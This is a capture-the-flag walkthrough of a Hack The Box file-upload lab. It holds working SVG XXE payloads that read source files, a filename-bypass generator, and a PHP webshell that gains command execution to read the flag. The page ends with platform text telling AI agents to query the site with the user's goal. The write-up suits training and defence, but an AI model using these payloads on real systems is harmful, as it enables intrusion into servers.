> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/file-upload-attacks.md).

# File Upload Attacks

## Skills Assessment Walkthrough

> **HTB Module:** File Upload Attacks **Difficulty:** Hard **Goal:** Bypass multiple file upload validations → achieve RCE → capture the flag **Target:** E-commerce web application (154.x.x.x)
>
> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FyadQhulgnv6TcQ1EK51n%2Fimage.png?alt=media\&token=7b486e37-2dae-4bdf-953c-ca9e55b0082a)![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fg8N3IrS9zhp9ekjou18z%2Fimage.png?alt=media\&token=caa42b89-0f29-4a6e-8453-e1abe9e43641)

***

### 📌 Scenario

We're contracted to pentest a company's e-commerce web application that's in its early stages. Our focus is specifically on testing **file upload forms** for vulnerabilities that could lead to remote code execution.

### 🗺️ Attack Chain

```
Recon → ffuf finds /contact/upload.php (hidden upload endpoint)
  → SVG XXE to dump upload.php source code → understand filters
    → SVG XXE to dump common-functions.php → understand file handling
      → Analyze: blacklist (.php/.phps/.phtml), whitelist (image ext), content-type check
        → Generate extension bypass wordlist → Intruder brute-force
          → .phar.jpg bypasses all filters! (with JFIF magic bytes + webshell)
            → Access uploaded shell at /user_feedback_submissions/YMD_cat.phar.jpg
              → RCE as www-data → ls / → cat /flag → HTB{...} 🏴
```

***

***

## Step 1 — Recon: Fuzzing for Hidden Endpoints

First confirm the backend — `/index.php` works, so it's **PHP**. Then fuzz the `/contact/` directory:

```bash
ffuf -ic -u http://154.57.164.75:32054/contact/FUZZ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
  -e .php
```

Found files:

* `index.php` — main page
* `submit.php` — form submission
* **`upload.php`** — hidden upload endpoint! 🎯 Not visible in the normal UI

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F3KhQLKVAh2wOgpXVvzxA%2Fimg-000.png?alt=media\&token=88f0332c-08c1-4dbc-b83c-abcb7e7805dd)

***

## Step 2 — SVG XXE: Reading upload.php Source Code

The upload endpoint isn't exposed in the UI, but we can trigger it manually. Craft a **POST request** in Burp to `/contact/upload.php` with a malicious **SVG file** containing an XXE payload to read the upload.php source code:

**SVG XXE payload (ahell.svg):**

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM
"php://filter/read=convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
```

Set `Content-Type: image/jpg` in the multipart form data. The server processes the SVG with XML parsing enabled (`LIBXML_NOENT`), resolving our XXE entity and returning the base64-encoded source code.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FpOPUsmYRKpb6a22ouxLC%2Fimg-001.png?alt=media\&token=a951ad90-e2e5-4fe6-aa29-7874a25515fa)

***

## Step 3 — Analyzing upload.php Source Code

After base64 decoding the response, we get the full `upload.php` source:

```php
<?php
require_once('./common-functions.php');

// uploaded files directory
$target_dir = "./user_feedback_submissions/";

// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();
}

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}
```

**Key findings:**

* **Upload path:** `./user_feedback_submissions/`
* **Filename:** Prepended with `date('ymd')` → e.g., `260930_filename.ext`
* **Blacklist:** Blocks `.php`, `.phps`, `.phtml` — but NOT `.phar`! 🎯
* **Whitelist:** Must end with `.[a-z]{2,3}g` (matches `.jpg`, `.png`, `.svg`, etc.)
* **MIME type check:** Both Content-Type and actual MIME must match `image/*`

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FTNuul6l6hVCOSBZs4cTb%2Fimg-002.png?alt=media\&token=08995480-879f-4b2a-bb4b-3d894fb0bbb7)

***

## Step 4 — SVG XXE: Reading common-functions.php

Next, dump the `common-functions.php` referenced in the upload script. Same SVG XXE technique:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM
"php://filter/read=convert.base64-encode/resource=common-functions.php"> ]>
<svg>&xxe;</svg>
```

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F4x3XTLBGhr3cBUZ9oVeU%2Fimg-003.png?alt=media\&token=683d49bb-fdd5-46a2-99e6-593c25387932)

After decoding, we see the `displayHTMLImage()` function. It handles multiple image types (jpg, jpeg, png, gif, svg+xml). For SVG files, it uses `DOMDocument` with `LIBXML_NOENT | LIBXML_DTDLOAD` — **this is what makes the XXE possible!**

The function also reveals the 4 allowed content types: `image/jpg`, `image/jpeg`, `image/png`, `image/gif`.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FlgjRL3L2Ka0aMKZ2ei6X%2Fimg-004.png?alt=media\&token=c77fbd7f-5672-42eb-b0c6-2983786d4ee8)

***

## Step 5 — Generate Extension Bypass Wordlist

Now we know the filters. We need an extension that:

1. ❌ NOT in blacklist (`.php`, `.phps`, `.phtml`)
2. ✅ Matches whitelist (`/^.+\.[a-z]{2,3}g$/`) — must end in 2-3 lowercase letters + `g`
3. ✅ Apache will execute as PHP

`.phar` is NOT blacklisted, and `.phar.jpg` matches the whitelist! Generate a wordlist of extension bypass combinations:

```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps' '.phtml' '.php5' '.phar' '.php3' 'php4' '.phpt' '.php8' '.php7'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell$ext$char" >> wordlist.txt
    done
done
```

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F09O7jZQBCmT23CdERqNk%2Fimg-005.png?alt=media\&token=57f1b34c-9f5d-471e-b96d-f96e5fc17859)

***

## Step 6 — Burp Intruder: Extension Brute-Force

Load the wordlist into **Burp Intruder**. The request body contains:

* `Content-Type: image/jpeg` (to pass MIME check)
* **JFIF magic bytes** (`ÿØÿà JFIF`) prepended before the PHP code (to pass `mime_content_type()` check)
* PHP webshell: `<?php echo system($_GET['cmd']); ?>`

The filename position in the Intruder is set to the payload marker: `cat§.phar.jpg§`

> 📸 **Image 7** — Burp ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FipWPZrLy7sxLFmYXSNZD%2Fimg-006.png?alt=media\&token=fd58f198-1d56-425b-b3ab-09af1810594c)

## Step 7 — Finding Working Extensions

Intruder results show several **200 OK** responses with different sizes. The key working extension is **`.phar.jpg`** — it:

1. ✅ Passes blacklist (`.phar` not blocked)
2. ✅ Passes whitelist (ends with `.jpg`)
3. ✅ Apache treats `.phar` as executable PHP

The successful upload returns an `<img>` tag with base64 data, confirming the file was accepted.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FfpOtQMaKVgOoqRQ3FtxL%2Fimg-007.png?alt=media\&token=912fa316-4ae7-40bd-b08d-49ac9d66aec4)

## Step 8 — RCE: Accessing the Uploaded Shell

The uploaded file is at:

```
/contact/user_feedback_submissions/<YMD>_cat.phar.jpg
```

Generate the correct YMD (year-month-day) prefix:

```bash
YMD=$(date +%y%m%d)
echo "Shell location: /contact/user_feedback_submissions/${YMD}_cat.phar.jpg"
# → 260930_cat.phar.jpg
```

Test RCE with `?cmd=id`:

```
http://154.57.164.76:30240/contact/user_feedback_submissions/260930_cat.phar.jpg?cmd=id
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

**RCE confirmed!** 🔥 Running as `www-data`.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FyWH0mFigsdxdk7cxLp40%2Fimg-008.png?alt=media\&token=9f6358f7-62f7-40c7-a6ba-c4c895f4d856)

***

## Step 9 — Finding & Reading the Flag

List the root directory:

```
?cmd=ls /
```

```
bin boot dev etc flag_2b8f1d2da162... home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
```

Found flag file: `flag_2b8f1d2da162...`

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FuqYitXSWLaDYS4usrZgx%2Fimg-009.png?alt=media\&token=84ead952-ade4-4dcb-b1f7-c48c660c21a9)

```
?cmd=cat /flag_2b8f1d2da162...
```

```
HTB{m4...}
```

**Flag captured!** 🏴

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F3IUU7zZzIiHJyN8Hf1Ds%2Fimg-010.png?alt=media\&token=68a2cb76-0e86-40d7-a4a8-bb20148d66cc)

***

## 🏆 Pwned!

Hidden upload endpoint → SVG XXE source dump → filter analysis → .phar.jpg bypass with JFIF magic bytes → RCE → flag.

#### Bypass Summary

| Filter           | How It Works                            | How We Bypassed It                  |
| ---------------- | --------------------------------------- | ----------------------------------- |
| **Blacklist**    | Blocks `.php`, `.phps`, `.phtml`        | Used `.phar` (not in blacklist)     |
| **Whitelist**    | Must end with `.[a-z]{2,3}g`            | Used `.phar.jpg` (ends with `.jpg`) |
| **Content-Type** | Must be `image/*`                       | Set header to `image/jpeg`          |
| **MIME check**   | `mime_content_type()` must return image | Prepended JFIF magic bytes (`ÿØÿà`) |

#### Tools Used

| Tool        | Purpose                                            |
| ----------- | -------------------------------------------------- |
| `ffuf`      | Directory/file fuzzing — found hidden `upload.php` |
| Burp Suite  | SVG XXE, Intruder extension brute-force            |
| SVG + XXE   | Dump PHP source code via `php://filter`            |
| Bash script | Generate extension bypass wordlist                 |
| Browser     | RCE via webshell, flag retrieval                   |

***

> **GG 🏴** — SVG XXE source dump → .phar.jpg bypass (blacklist + whitelist + MIME) → JFIF magic bytes → RCE → flag.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/file-upload-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
